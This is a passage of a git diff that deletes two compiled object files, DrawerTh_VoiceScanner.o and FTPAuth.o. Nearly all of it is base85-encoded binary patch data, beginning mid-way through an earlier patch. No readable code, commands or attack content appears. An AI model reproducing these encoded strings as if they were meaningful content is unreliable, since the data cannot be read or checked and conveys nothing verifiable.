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 diff --git a/DrawerTh_VoiceScanner.o b/DrawerTh_VoiceScanner.o deleted file mode 100644 index 57279bc08382dc947d37316ca91497d88ae0e8fa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 10472 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 diff --git a/FTPAuth.o b/FTPAuth.o deleted file mode 100644 index bed994c81196c443194137c27bca943354ec7471..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 17888 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 